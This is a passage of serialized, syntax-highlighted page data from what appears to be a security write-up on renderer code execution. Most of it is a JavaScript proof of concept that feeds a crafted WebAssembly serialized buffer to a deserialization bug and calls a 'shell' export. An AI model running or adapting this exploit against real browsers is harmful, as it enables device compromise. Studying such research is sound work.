func",{"type":22,"tag":118,"props":138700,"children":138701},{"style":125},[138702],{"type":28,"value":1098},{"type":22,"tag":118,"props":138704,"children":138705},{"class":120,"line":417},[138706],{"type":22,"tag":118,"props":138707,"children":138708},{"style":125},[138709],{"type":28,"value":7881},{"type":22,"tag":118,"props":138711,"children":138712},{"class":120,"line":425},[138713],{"type":22,"tag":118,"props":138714,"children":138715},{"emptyLinePlaceholder":15},[138716],{"type":28,"value":250},{"type":22,"tag":118,"props":138718,"children":138719},{"class":120,"line":441},[138720,138724,138728,138732,138736,138740,138744],{"type":22,"tag":118,"props":138721,"children":138722},{"style":146},[138723],{"type":28,"value":9860},{"type":22,"tag":118,"props":138725,"children":138726},{"style":204},[138727],{"type":28,"value":137533},{"type":22,"tag":118,"props":138729,"children":138730},{"style":210},[138731],{"type":28,"value":837},{"type":22,"tag":118,"props":138733,"children":138734},{"style":532},[138735],{"type":28,"value":137542},{"type":22,"tag":118,"props":138737,"children":138738},{"style":125},[138739],{"type":28,"value":540},{"type":22,"tag":118,"props":138741,"children":138742},{"style":204},[138743],{"type":28,"value":135457},{"type":22,"tag":118,"props":138745,"children":138746},{"style":125},[138747],{"type":28,"value":682},{"type":22,"tag":118,"props":138749,"children":138750},{"class":120,"line":475},[138751,138755,138759,138763,138767,138771,138775,138779,138783,138787],{"type":22,"tag":118,"props":138752,"children":138753},{"style":204},[138754],{"type":28,"value":137578},{"type":22,"tag":118,"props":138756,"children":138757},{"style":210},[138758],{"type":28,"value":837},{"type":22,"tag":118,"props":138760,"children":138761},{"style":125},[138762],{"type":28,"value":842},{"type":22,"tag":118,"props":138764,"children":138765},{"style":1480},[138766],{"type":28,"value":34855},{"type":22,"tag":118,"props":138768,"children":138769},{"style":204},[138770],{"type":28,"value":137533},{"type":22,"tag":118,"props":138772,"children":138773},{"style":125},[138774],{"type":28,"value":292},{"type":22,"tag":118,"props":138776,"children":138777},{"style":532},[138778],{"type":28,"value":59506},{"type":22,"tag":118,"props":138780,"children":138781},{"style":125},[138782],{"type":28,"value":137607},{"type":22,"tag":118,"props":138784,"children":138785},{"style":204},[138786],{"type":28,"value":41093},{"type":22,"tag":118,"props":138788,"children":138789},{"style":125},[138790],{"type":28,"value":801},{"type":22,"tag":118,"props":138792,"children":138793},{"class":120,"line":484},[138794,138798,138802,138806,138810,138814],{"type":22,"tag":118,"props":138795,"children":138796},{"style":204},[138797],{"type":28,"value":103540},{"type":22,"tag":118,"props":138799,"children":138800},{"style":125},[138801],{"type":28,"value":292},{"type":22,"tag":118,"props":138803,"children":138804},{"style":532},[138805],{"type":28,"value":103549},{"type":22,"tag":118,"props":138807,"children":138808},{"style":125},[138809],{"type":28,"value":540},{"type":22,"tag":118,"props":138811,"children":138812},{"style":204},[138813],{"type":28,"value":11081},{"type":22,"tag":118,"props":138815,"children":138816},{"style":125},[138817],{"type":28,"value":682},{"type":22,"tag":118,"props":138819,"children":138820},{"class":120,"line":492},[138821],{"type":22,"tag":118,"props":138822,"children":138823},{"emptyLinePlaceholder":15},[138824],{"type":28,"value":250},{"type":22,"tag":118,"props":138826,"children":138827},{"class":120,"line":501},[138828,138832,138837,138841,138845,138849,138853,138857],{"type":22,"tag":118,"props":138829,"children":138830},{"style":146},[138831],{"type":28,"value":9860},{"type":22,"tag":118,"props":138833,"children":138834},{"style":204},[138835],{"type":28,"value":138836}," result_bytes",{"type":22,"tag":118,"props":138838,"children":138839},{"style":210},[138840],{"type":28,"value":837},{"type":22,"tag":118,"props":138842,"children":138843},{"style":146},[138844],{"type":28,"value":3442},{"type":22,"tag":118,"props":138846,"children":138847},{"style":532},[138848],{"type":28,"value":135063},{"type":22,"tag":118,"props":138850,"children":138851},{"style":125},[138852],{"type":28,"value":540},{"type":22,"tag":118,"props":138854,"children":138855},{"style":204},[138856],{"type":28,"value":11081},{"type":22,"tag":118,"props":138858,"children":138859},{"style":125},[138860],{"type":28,"value":682},{"type":22,"tag":118,"props":138862,"children":138863},{"class":120,"line":519},[138864,138868,138872,138876,138880,138884,138888,138892,138896,138900,138904,138908,138912,138916,138920],{"type":22,"tag":118,"props":138865,"children":138866},{"style":204},[138867],{"type":28,"value":103540},{"type":22,"tag":118,"props":138869,"children":138870},{"style":125},[138871],{"type":28,"value":292},{"type":22,"tag":118,"props":138873,"children":138874},{"style":532},[138875],{"type":28,"value":103549},{"type":22,"tag":118,"props":138877,"children":138878},{"style":125},[138879],{"type":28,"value":540},{"type":22,"tag":118,"props":138881,"children":138882},{"style":1866},[138883],{"type":28,"value":135630},{"type":22,"tag":118,"props":138885,"children":138886},{"style":210},[138887],{"type":28,"value":10905},{"type":22,"tag":118,"props":138889,"children":138890},{"style":204},[138891],{"type":28,"value":138836},{"type":22,"tag":118,"props":138893,"children":138894},{"style":125},[138895],{"type":28,"value":292},{"type":22,"tag":118,"props":138897,"children":138898},{"style":532},[138899],{"type":28,"value":135647},{"type":22,"tag":118,"props":138901,"children":138902},{"style":125},[138903],{"type":28,"value":540},{"type":22,"tag":118,"props":138905,"children":138906},{"style":1866},[138907],{"type":28,"value":135656},{"type":22,"tag":118,"props":138909,"children":138910},{"style":125},[138911],{"type":28,"value":588},{"type":22,"tag":118,"props":138913,"children":138914},{"style":210},[138915],{"type":28,"value":3220},{"type":22,"tag":118,"props":138917,"children":138918},{"style":1866},[138919],{"type":28,"value":135669},{"type":22,"tag":118,"props":138921,"children":138922},{"style":125},[138923],{"type":28,"value":682},{"type":22,"tag":118,"props":138925,"children":138926},{"class":120,"line":606},[138927],{"type":22,"tag":118,"props":138928,"children":138929},{"style":125},[138930],{"type":28,"value":103581},{"type":22,"tag":31,"props":138932,"children":138933},{},[138934],{"type":28,"value":138935},"We get the serialized bytes:",{"type":22,"tag":31,"props":138937,"children":138938},{},[138939],{"type":22,"tag":5928,"props":138940,"children":138943},{"alt":138941,"src":138942},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":22,"tag":31,"props":138945,"children":138946},{},[138947,138949,138954],{"type":28,"value":138948},"We can now embed this output into the original bytecode that calls ",{"type":22,"tag":114,"props":138950,"children":138952},{"className":138951},[],[138953],{"type":28,"value":134526},{"type":28,"value":213},{"type":22,"tag":107,"props":138956,"children":138958},{"code":138957,"language":37556,"meta":7,"className":37554,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[138959],{"type":22,"tag":114,"props":138960,"children":138961},{"__ignoreMap":7},[138962,138985,139012,139231,139298,139305,139332,139543,139794,140045,140269,140451,140672,140750,140757,140804,140847,140883,140926,140965,140992],{"type":22,"tag":118,"props":138963,"children":138964},{"class":120,"line":121},[138965,138969,138973,138977,138981],{"type":22,"tag":118,"props":138966,"children":138967},{"style":125},[138968],{"type":28,"value":540},{"type":22,"tag":118,"props":138970,"children":138971},{"style":146},[138972],{"type":28,"value":38086},{"type":22,"tag":118,"props":138974,"children":138975},{"style":125},[138976],{"type":28,"value":41638},{"type":22,"tag":118,"props":138978,"children":138979},{"style":146},[138980],{"type":28,"value":1616},{"type":22,"tag":118,"props":138982,"children":138983},{"style":125},[138984],{"type":28,"value":1474},{"type":22,"tag":118,"props":138986,"children":138987},{"class":120,"line":142},[138988,138992,138996,139000,139004,139008],{"type":22,"tag":118,"props":138989,"children":138990},{"style":146},[138991],{"type":28,"value":38129},{"type":22,"tag":118,"props":138993,"children":138994},{"style":204},[138995],{"type":28,"value":135050},{"type":22,"tag":118,"props":138997,"children":138998},{"style":210},[138999],{"type":28,"value":837},{"type":22,"tag":118,"props":139001,"children":139002},{"style":146},[139003],{"type":28,"value":3442},{"type":22,"tag":118,"props":139005,"children":139006},{"style":532},[139007],{"type":28,"value":135063},{"type":22,"tag":118,"props":139009,"children":139010},{"style":125},[139011],{"type":28,"value":135068},{"type":22,"tag":118,"props":139013,"children":139014},{"class":120,"line":177},[139015,139019,139023,139027,139031,139035,139039,139043,139047,139051,139055,139059,139063,139067,139071,139075,139079,139083,139087,139091,139095,139099,139103,139107,139111,139115,139119,139123,139127,139131,139135,139139,139143,139147,139151,139155,139159,139163,139167,139171,139175,139179,139183,139187,139191,139195,139199,139203,139207,139211,139215,139219,139223,139227],{"type":22,"tag":118,"props":139016,"children":139017},{"style":674},[139018],{"type":28,"value":135793},{"type":22,"tag":118,"props":139020,"children":139021},{"style":125},[139022],{"type":28,"value":231},{"type":22,"tag":118,"props":139024,"children":139025},{"style":674},[139026],{"type":28,"value":135085},{"type":22,"tag":118,"props":139028,"children":139029},{"style":125},[139030],{"type":28,"value":231},{"type":22,"tag":118,"props":139032,"children":139033},{"style":674},[139034],{"type":28,"value":135094},{"type":22,"tag":118,"props":139036,"children":139037},{"style":125},[139038],{"type":28,"value":231},{"type":22,"tag":118,"props":139040,"children":139041},{"style":674},[139042],{"type":28,"value":135103},{"type":22,"tag":118,"props":139044,"children":139045},{"style":125},[139046],{"type":28,"value":231},{"type":22,"tag":118,"props":139048,"children":139049},{"style":674},[139050],{"type":28,"value":6026},{"type":22,"tag":118,"props":139052,"children":139053},{"style":125},[139054],{"type":28,"value":231},{"type":22,"tag":118,"props":139056,"children":139057},{"style":674},[139058],{"type":28,"value":6036},{"type":22,"tag":118,"props":139060,"children":139061},{"style":125},[139062],{"type":28,"value":231},{"type":22,"tag":118,"props":139064,"children":139065},{"style":674},[139066],{"type":28,"value":6036},{"type":22,"tag":118,"props":139068,"children":139069},{"style":125},[139070],{"type":28,"value":231},{"type":22,"tag":118,"props":139072,"children":139073},{"style":674},[139074],{"type":28,"value":6036},{"type":22,"tag":118,"props":139076,"children":139077},{"style":125},[139078],{"type":28,"value":231},{"type":22,"tag":118,"props":139080,"children":139081},{"style":674},[139082],{"type":28,"value":6026},{"type":22,"tag":118,"props":139084,"children":139085},{"style":125},[139086],{"type":28,"value":231},{"type":22,"tag":118,"props":139088,"children":139089},{"style":674},[139090],{"type":28,"value":19493},{"type":22,"tag":118,"props":139092,"children":139093},{"style":125},[139094],{"type":28,"value":231},{"type":22,"tag":118,"props":139096,"children":139097},{"style":674},[139098],{"type":28,"value":6026},{"type":22,"tag":118,"props":139100,"children":139101},{"style":125},[139102],{"type":28,"value":231},{"type":22,"tag":118,"props":139104,"children":139105},{"style":674},[139106],{"type":28,"value":135168},{"type":22,"tag":118,"props":139108,"children":139109},{"style":125},[139110],{"type":28,"value":231},{"type":22,"tag":118,"props":139112,"children":139113},{"style":674},[139114],{"type":28,"value":6036},{"type":22,"tag":118,"props":139116,"children":139117},{"style":125},[139118],{"type":28,"value":231},{"type":22,"tag":118,"props":139120,"children":139121},{"style":674},[139122],{"type":28,"value":6036},{"type":22,"tag":118,"props":139124,"children":139125},{"style":125},[139126],{"type":28,"value":231},{"type":22,"tag":118,"props":139128,"children":139129},{"style":674},[139130],{"type":28,"value":19260},{"type":22,"tag":118,"props":139132,"children":139133},{"style":125},[139134],{"type":28,"value":231},{"type":22,"tag":118,"props":139136,"children":139137},{"style":674},[139138],{"type":28,"value":5147},{"type":22,"tag":118,"props":139140,"children":139141},{"style":125},[139142],{"type":28,"value":231},{"type":22,"tag":118,"props":139144,"children":139145},{"style":674},[139146],{"type":28,"value":6026},{"type":22,"tag":118,"props":139148,"children":139149},{"style":125},[139150],{"type":28,"value":231},{"type":22,"tag":118,"props":139152,"children":139153},{"style":674},[139154],{"type":28,"value":6036},{"type":22,"tag":118,"props":139156,"children":139157},{"style":125},[139158],{"type":28,"value":231},{"type":22,"tag":118,"props":139160,"children":139161},{"style":674},[139162],{"type":28,"value":56612},{"type":22,"tag":118,"props":139164,"children":139165},{"style":125},[139166],{"type":28,"value":231},{"type":22,"tag":118,"props":139168,"children":139169},{"style":674},[139170],{"type":28,"value":57826},{"type":22,"tag":118,"props":139172,"children":139173},{"style":125},[139174],{"type":28,"value":231},{"type":22,"tag":118,"props":139176,"children":139177},{"style":674},[139178],{"type":28,"value":6026},{"type":22,"tag":118,"props":139180,"children":139181},{"style":125},[139182],{"type":28,"value":231},{"type":22,"tag":118,"props":139184,"children":139185},{"style":674},[139186],{"type":28,"value":20074},{"type":22,"tag":118,"props":139188,"children":139189},{"style":125},[139190],{"type":28,"value":231},{"type":22,"tag":118,"props":139192,"children":139193},{"style":674},[139194],{"type":28,"value":135094},{"type":22,"tag":118,"props":139196,"children":139197},{"style":125},[139198],{"type":28,"value":231},{"type":22,"tag":118,"props":139200,"children":139201},{"style":674},[139202],{"type":28,"value":135265},{"type":22,"tag":118,"props":139204,"children":139205},{"style":125},[139206],{"type":28,"value":231},{"type":22,"tag":118,"props":139208,"children":139209},{"style":674},[139210],{"type":28,"value":135274},{"type":22,"tag":118,"props":139212,"children":139213},{"style":125},[139214],{"type":28,"value":231},{"type":22,"tag":118,"props":139216,"children":139217},{"style":674},[139218],{"type":28,"value":135283},{"type":22,"tag":118,"props":139220,"children":139221},{"style":125},[139222],{"type":28,"value":231},{"type":22,"tag":118,"props":139224,"children":139225},{"style":674},[139226],{"type":28,"value":135283},{"type":22,"tag":118,"props":139228,"children":139229},{"style":125},[139230],{"type":28,"value":782},{"type":22,"tag":118,"props":139232,"children":139233},{"class":120,"line":195},[139234,139238,139242,139246,139250,139254,139258,139262,139266,139270,139274,139278,139282,139286,139290,139294],{"type":22,"tag":118,"props":139235,"children":139236},{"style":674},[139237],{"type":28,"value":135793},{"type":22,"tag":118,"props":139239,"children":139240},{"style":125},[139241],{"type":28,"value":231},{"type":22,"tag":118,"props":139243,"children":139244},{"style":674},[139245],{"type":28,"value":6036},{"type":22,"tag":118,"props":139247,"children":139248},{"style":125},[139249],{"type":28,"value":231},{"type":22,"tag":118,"props":139251,"children":139252},{"style":674},[139253],{"type":28,"value":90849},{"type":22,"tag":118,"props":139255,"children":139256},{"style":125},[139257],{"type":28,"value":231},{"type":22,"tag":118,"props":139259,"children":139260},{"style":674},[139261],{"type":28,"value":19493},{"type":22,"tag":118,"props":139263,"children":139264},{"style":125},[139265],{"type":28,"value":231},{"type":22,"tag":118,"props":139267,"children":139268},{"style":674},[139269],{"type":28,"value":6026},{"type":22,"tag":118,"props":139271,"children":139272},{"style":125},[139273],{"type":28,"value":231},{"type":22,"tag":118,"props":139275,"children":139276},{"style":674},[139277],{"type":28,"value":5147},{"type":22,"tag":118,"props":139279,"children":139280},{"style":125},[139281],{"type":28,"value":231},{"type":22,"tag":118,"props":139283,"children":139284},{"style":674},[139285],{"type":28,"value":6036},{"type":22,"tag":118,"props":139287,"children":139288},{"style":125},[139289],{"type":28,"value":231},{"type":22,"tag":118,"props":139291,"children":139292},{"style":674},[139293],{"type":28,"value":135359},{"type":22,"tag":118,"props":139295,"children":139296},{"style":125},[139297],{"type":28,"value":782},{"type":22,"tag":118,"props":139299,"children":139300},{"class":120,"line":244},[139301],{"type":22,"tag":118,"props":139302,"children":139303},{"style":125},[139304],{"type":28,"value":136080},{"type":22,"tag":118,"props":139306,"children":139307},{"class":120,"line":253},[139308,139312,139316,139320,139324,139328],{"type":22,"tag":118,"props":139309,"children":139310},{"style":146},[139311],{"type":28,"value":38129},{"type":22,"tag":118,"props":139313,"children":139314},{"style":204},[139315],{"type":28,"value":126863},{"type":22,"tag":118,"props":139317,"children":139318},{"style":210},[139319],{"type":28,"value":837},{"type":22,"tag":118,"props":139321,"children":139322},{"style":146},[139323],{"type":28,"value":3442},{"type":22,"tag":118,"props":139325,"children":139326},{"style":532},[139327],{"type":28,"value":135063},{"type":22,"tag":118,"props":139329,"children":139330},{"style":125},[139331],{"type":28,"value":135068},{"type":22,"tag":118,"props":139333,"children":139334},{"class":120,"line":263},[139335,139340,139344,139348,139352,139356,139360,139364,139368,139373,139377,139382,139386,139391,139395,139400,139404,139408,139412,139416,139420,139424,139428,139432,139436,139441,139445,139450,139454,139459,139463,139467,139471,139475,139479,139483,139487,139491,139495,139499,139503,139507,139511,139515,139519,139523,139527,139531,139535,139539],{"type":22,"tag":118,"props":139336,"children":139337},{"style":674},[139338],{"type":28,"value":139339},"    146",{"type":22,"tag":118,"props":139341,"children":139342},{"style":125},[139343],{"type":28,"value":231},{"type":22,"tag":118,"props":139345,"children":139346},{"style":674},[139347],{"type":28,"value":20386},{"type":22,"tag":118,"props":139349,"children":139350},{"style":125},[139351],{"type":28,"value":231},{"type":22,"tag":118,"props":139353,"children":139354},{"style":674},[139355],{"type":28,"value":136132},{"type":22,"tag":118,"props":139357,"children":139358},{"style":125},[139359],{"type":28,"value":231},{"type":22,"tag":118,"props":139361,"children":139362},{"style":674},[139363],{"type":28,"value":136141},{"type":22,"tag":118,"props":139365,"children":139366},{"style":125},[139367],{"type":28,"value":231},{"type":22,"tag":118,"props":139369,"children":139370},{"style":674},[139371],{"type":28,"value":139372},"174",{"type":22,"tag":118,"props":139374,"children":139375},{"style":125},[139376],{"type":28,"value":231},{"type":22,"tag":118,"props":139378,"children":139379},{"style":674},[139380],{"type":28,"value":139381},"122",{"type":22,"tag":118,"props":139383,"children":139384},{"style":125},[139385],{"type":28,"value":231},{"type":22,"tag":118,"props":139387,"children":139388},{"style":674},[139389],{"type":28,"value":139390},"171",{"type":22,"tag":118,"props":139392,"children":139393},{"style":125},[139394],{"type":28,"value":231},{"type":22,"tag":118,"props":139396,"children":139397},{"style":674},[139398],{"type":28,"value":139399},"151",{"type":22,"tag":118,"props":139401,"children":139402},{"style":125},[139403],{"type":28,"value":231},{"type":22,"tag":118,"props":139405,"children":139406},{"style":674},[139407],{"type":28,"value":98263},{"type":22,"tag":118,"props":139409,"children":139410},{"style":125},[139411],{"type":28,"value":231},{"type":22,"tag":118,"props":139413,"children":139414},{"style":674},[139415],{"type":28,"value":6036},{"type":22,"tag":118,"props":139417,"children":139418},{"style":125},[139419],{"type":28,"value":231},{"type":22,"tag":118,"props":139421,"children":139422},{"style":674},[139423],{"type":28,"value":6036},{"type":22,"tag":118,"props":139425,"children":139426},{"style":125},[139427],{"type":28,"value":231},{"type":22,"tag":118,"props":139429,"children":139430},{"style":674},[139431],{"type":28,"value":6036},{"type":22,"tag":118,"props":139433,"children":139434},{"style":125},[139435],{"type":28,"value":231},{"type":22,"tag":118,"props":139437,"children":139438},{"style":674},[139439],{"type":28,"value":139440},"39",{"type":22,"tag":118,"props":139442,"children":139443},{"style":125},[139444],{"type":28,"value":231},{"type":22,"tag":118,"props":139446,"children":139447},{"style":674},[139448],{"type":28,"value":139449},"61",{"type":22,"tag":118,"props":139451,"children":139452},{"style":125},[139453],{"type":28,"value":231},{"type":22,"tag":118,"props":139455,"children":139456},{"style":674},[139457],{"type":28,"value":139458},"60",{"type":22,"tag":118,"props":139460,"children":139461},{"style":125},[139462],{"type":28,"value":231},{"type":22,"tag":118,"props":139464,"children":139465},{"style":674},[139466],{"type":28,"value":98263},{"type":22,"tag":118,"props":139468,"children":139469},{"style":125},[139470],{"type":28,"value":231},{"type":22,"tag":118,"props":139472,"children":139473},{"style":674},[139474],{"type":28,"value":6036},{"type":22,"tag":118,"props":139476,"children":139477},{"style":125},[139478],{"type":28,"value":231},{"type":22,"tag":118,"props":139480,"children":139481},{"style":674},[139482],{"type":28,"value":42786},{"type":22,"tag":118,"props":139484,"children":139485},{"style":125},[139486],{"type":28,"value":231},{"type":22,"tag":118,"props":139488,"children":139489},{"style":674},[139490],{"type":28,"value":19260},{"type":22,"tag":118,"props":139492,"children":139493},{"style":125},[139494],{"type":28,"value":231},{"type":22,"tag":118,"props":139496,"children":139497},{"style":674},[139498],{"type":28,"value":6036},{"type":22,"tag":118,"props":139500,"children":139501},{"style":125},[139502],{"type":28,"value":231},{"type":22,"tag":118,"props":139504,"children":139505},{"style":674},[139506],{"type":28,"value":6036},{"type":22,"tag":118,"props":139508,"children":139509},{"style":125},[139510],{"type":28,"value":231},{"type":22,"tag":118,"props":139512,"children":139513},{"style":674},[139514],{"type":28,"value":6036},{"type":22,"tag":118,"props":139516,"children":139517},{"style":125},[139518],{"type":28,"value":231},{"type":22,"tag":118,"props":139520,"children":139521},{"style":674},[139522],{"type":28,"value":6036},{"type":22,"tag":118,"props":139524,"children":139525},{"style":125},[139526],{"type":28,"value":231},{"type":22,"tag":118,"props":139528,"children":139529},{"style":674},[139530],{"type":28,"value":6036},{"type":22,"tag":118,"props":139532,"children":139533},{"style":125},[139534],{"type":28,"value":231},{"type":22,"tag":118,"props":139536,"children":139537},{"style":674},[139538],{"type":28,"value":31361},{"type":22,"tag":118,"props":139540,"children":139541},{"style":125},[139542],{"type":28,"value":782},{"type":22,"tag":118,"props":139544,"children":139545},{"class":120,"line":318},[139546,139550,139554,139558,139562,139566,139570,139574,139578,139582,139586,139590,139594,139598,139602,139606,139610,139614,139618,139622,139626,139630,139634,139638,139642,139646,139650,139654,139658,139662,139666,139670,139674,139678,139682,139686,139690,139694,139698,139702,139706,139710,139714,139718,139722,139726,139730,139734,139738,139742,139746,139750,139754,139758,139762,139766,139770,139774,139778,139782,139786,139790],{"type":22,"tag":118,"props":139547,"children":139548},{"style":674},[139549],{"type":28,"value":135793},{"type":22,"tag":118,"props":139551,"children":139552},{"style":125},[139553],{"type":28,"value":231},{"type":22,"tag":118,"props":139555,"children":139556},{"style":674},[139557],{"type":28,"value":6036},{"type":22,"tag":118,"props":139559,"children":139560},{"style":125},[139561],{"type":28,"value":231},{"type":22,"tag":118,"props":139563,"children":139564},{"style":674},[139565],{"type":28,"value":6036},{"type":22,"tag":118,"props":139567,"children":139568},{"style":125},[139569],{"type":28,"value":231},{"type":22,"tag":118,"props":139571,"children":139572},{"style":674},[139573],{"type":28,"value":6036},{"type":22,"tag":118,"props":139575,"children":139576},{"style":125},[139577],{"type":28,"value":231},{"type":22,"tag":118,"props":139579,"children":139580},{"style":674},[139581],{"type":28,"value":6036},{"type":22,"tag":118,"props":139583,"children":139584},{"style":125},[139585],{"type":28,"value":231},{"type":22,"tag":118,"props":139587,"children":139588},{"style":674},[139589],{"type":28,"value":6036},{"type":22,"tag":118,"props":139591,"children":139592},{"style":125},[139593],{"type":28,"value":231},{"type":22,"tag":118,"props":139595,"children":139596},{"style":674},[139597],{"type":28,"value":6036},{"type":22,"tag":118,"props":139599,"children":139600},{"style":125},[139601],{"type":28,"value":231},{"type":22,"tag":118,"props":139603,"children":139604},{"style":674},[139605],{"type":28,"value":6026},{"type":22,"tag":118,"props":139607,"children":139608},{"style":125},[139609],{"type":28,"value":231},{"type":22,"tag":118,"props":139611,"children":139612},{"style":674},[139613],{"type":28,"value":6036},{"type":22,"tag":118,"props":139615,"children":139616},{"style":125},[139617],{"type":28,"value":231},{"type":22,"tag":118,"props":139619,"children":139620},{"style":674},[139621],{"type":28,"value":6036},{"type":22,"tag":118,"props":139623,"children":139624},{"style":125},[139625],{"type":28,"value":231},{"type":22,"tag":118,"props":139627,"children":139628},{"style":674},[139629],{"type":28,"value":6036},{"type":22,"tag":118,"props":139631,"children":139632},{"style":125},[139633],{"type":28,"value":231},{"type":22,"tag":118,"props":139635,"children":139636},{"style":674},[139637],{"type":28,"value":6036},{"type":22,"tag":118,"props":139639,"children":139640},{"style":125},[139641],{"type":28,"value":231},{"type":22,"tag":118,"props":139643,"children":139644},{"style":674},[139645],{"type":28,"value":6036},{"type":22,"tag":118,"props":139647,"children":139648},{"style":125},[139649],{"type":28,"value":231},{"type":22,"tag":118,"props":139651,"children":139652},{"style":674},[139653],{"type":28,"value":6036},{"type":22,"tag":118,"props":139655,"children":139656},{"style":125},[139657],{"type":28,"value":231},{"type":22,"tag":118,"props":139659,"children":139660},{"style":674},[139661],{"type":28,"value":6036},{"type":22,"tag":118,"props":139663,"children":139664},{"style":125},[139665],{"type":28,"value":231},{"type":22,"tag":118,"props":139667,"children":139668},{"style":674},[139669],{"type":28,"value":6036},{"type":22,"tag":118,"props":139671,"children":139672},{"style":125},[139673],{"type":28,"value":231},{"type":22,"tag":118,"props":139675,"children":139676},{"style":674},[139677],{"type":28,"value":19493},{"type":22,"tag":118,"props":139679,"children":139680},{"style":125},[139681],{"type":28,"value":231},{"type":22,"tag":118,"props":139683,"children":139684},{"style":674},[139685],{"type":28,"value":47065},{"type":22,"tag":118,"props":139687,"children":139688},{"style":125},[139689],{"type":28,"value":231},{"type":22,"tag":118,"props":139691,"children":139692},{"style":674},[139693],{"type":28,"value":6036},{"type":22,"tag":118,"props":139695,"children":139696},{"style":125},[139697],{"type":28,"value":231},{"type":22,"tag":118,"props":139699,"children":139700},{"style":674},[139701],{"type":28,"value":6036},{"type":22,"tag":118,"props":139703,"children":139704},{"style":125},[139705],{"type":28,"value":231},{"type":22,"tag":118,"props":139707,"children":139708},{"style":674},[139709],{"type":28,"value":6036},{"type":22,"tag":118,"props":139711,"children":139712},{"style":125},[139713],{"type":28,"value":231},{"type":22,"tag":118,"props":139715,"children":139716},{"style":674},[139717],{"type":28,"value":136168},{"type":22,"tag":118,"props":139719,"children":139720},{"style":125},[139721],{"type":28,"value":231},{"type":22,"tag":118,"props":139723,"children":139724},{"style":674},[139725],{"type":28,"value":6036},{"type":22,"tag":118,"props":139727,"children":139728},{"style":125},[139729],{"type":28,"value":231},{"type":22,"tag":118,"props":139731,"children":139732},{"style":674},[139733],{"type":28,"value":6036},{"type":22,"tag":118,"props":139735,"children":139736},{"style":125},[139737],{"type":28,"value":231},{"type":22,"tag":118,"props":139739,"children":139740},{"style":674},[139741],{"type":28,"value":6036},{"type":22,"tag":118,"props":139743,"children":139744},{"style":125},[139745],{"type":28,"value":231},{"type":22,"tag":118,"props":139747,"children":139748},{"style":674},[139749],{"type":28,"value":47065},{"type":22,"tag":118,"props":139751,"children":139752},{"style":125},[139753],{"type":28,"value":231},{"type":22,"tag":118,"props":139755,"children":139756},{"style":674},[139757],{"type":28,"value":6036},{"type":22,"tag":118,"props":139759,"children":139760},{"style":125},[139761],{"type":28,"value":231},{"type":22,"tag":118,"props":139763,"children":139764},{"style":674},[139765],{"type":28,"value":6036},{"type":22,"tag":118,"props":139767,"children":139768},{"style":125},[139769],{"type":28,"value":231},{"type":22,"tag":118,"props":139771,"children":139772},{"style":674},[139773],{"type":28,"value":6036},{"type":22,"tag":118,"props":139775,"children":139776},{"style":125},[139777],{"type":28,"value":231},{"type":22,"tag":118,"props":139779,"children":139780},{"style":674},[139781],{"type":28,"value":47065},{"type":22,"tag":118,"props":139783,"children":139784},{"style":125},[139785],{"type":28,"value":231},{"type":22,"tag":118,"props":139787,"children":139788},{"style":674},[139789],{"type":28,"value":6036},{"type":22,"tag":118,"props":139791,"children":139792},{"style":125},[139793],{"type":28,"value":782},{"type":22,"tag":118,"props":139795,"children":139796},{"class":120,"line":351},[139797,139801,139805,139809,139813,139817,139821,139825,139829,139833,139837,139841,139845,139849,139853,139857,139861,139865,139869,139873,139877,139881,139885,139889,139893,139897,139901,139905,139909,139913,139917,139921,139925,139929,139933,139937,139941,139945,139949,139953,139957,139961,139965,139969,139973,139977,139981,139985,139989,139993,139997,140001,140005,140009,140013,140017,140021,140025,140029,140033,140037,140041],{"type":22,"tag":118,"props":139798,"children":139799},{"style":674},[139800],{"type":28,"value":135793},{"type":22,"tag":118,"props":139802,"children":139803},{"style":125},[139804],{"type":28,"value":231},{"type":22,"tag":118,"props":139806,"children":139807},{"style":674},[139808],{"type":28,"value":6036},{"type":22,"tag":118,"props":139810,"children":139811},{"style":125},[139812],{"type":28,"value":231},{"type":22,"tag":118,"props":139814,"children":139815},{"style":674},[139816],{"type":28,"value":47065},{"type":22,"tag":118,"props":139818,"children":139819},{"style":125},[139820],{"type":28,"value":231},{"type":22,"tag":118,"props":139822,"children":139823},{"style":674},[139824],{"type":28,"value":6036},{"type":22,"tag":118,"props":139826,"children":139827},{"style":125},[139828],{"type":28,"value":231},{"type":22,"tag":118,"props":139830,"children":139831},{"style":674},[139832],{"type":28,"value":6036},{"type":22,"tag":118,"props":139834,"children":139835},{"style":125},[139836],{"type":28,"value":231},{"type":22,"tag":118,"props":139838,"children":139839},{"style":674},[139840],{"type":28,"value":6036},{"type":22,"tag":118,"props":139842,"children":139843},{"style":125},[139844],{"type":28,"value":231},{"type":22,"tag":118,"props":139846,"children":139847},{"style":674},[139848],{"type":28,"value":19493},{"type":22,"tag":118,"props":139850,"children":139851},{"style":125},[139852],{"type":28,"value":231},{"type":22,"tag":118,"props":139854,"children":139855},{"style":674},[139856],{"type":28,"value":6036}